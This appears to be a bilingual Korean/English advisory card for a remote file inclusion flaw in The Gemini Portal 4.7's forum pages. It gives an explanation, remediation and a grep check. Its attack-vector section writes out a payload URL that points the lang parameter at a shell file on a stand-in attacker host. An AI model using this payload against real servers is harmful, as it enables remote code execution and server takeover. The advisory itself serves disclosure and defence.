🇰🇷 한글 설명
The Gemini Portal 4.7의 page/forums/bottom.php와 page/forums/category.php 파일에서 lang 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 악의적인 URL을 lang 파라미터에 입력하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 특정 페이지에서 언어 설정 부분(lang 파라미터)에 해커가 원격 파일 주소를 입력하면, 서버가 그 파일을 자동으로 실행합니다. 이를 통해 해커는 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in The Gemini Portal 4.7 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to (1) page/forums/bottom.php and (2) page/forums/category.php.
📍 영향받는 시스템
The Gemini Portal 4.7 이하 버전
⚔️ 공격 벡터
http://target.com/page/forums/bottom.php?lang=http://attacker.com/shell.php 형태의 lang 매개변수 조작을 통한 원격 코드 실행
🛡️ 대응 방법
The Gemini Portal을 최신 버전으로 업그레이드하거나 lang 파라미터에 대한 입력 검증 및 화이트리스트 필터링 구현
🔧 검증 코드
취약한 코드 패턴(include/require에 직접 lang 매개변수 사용)이 발견되면 취약점 존재, 발견되지 않으면 패치된 상태
grep -r 'lang.*include\|lang.*require' /path/to/gemini/page/forums/ 2>/dev/null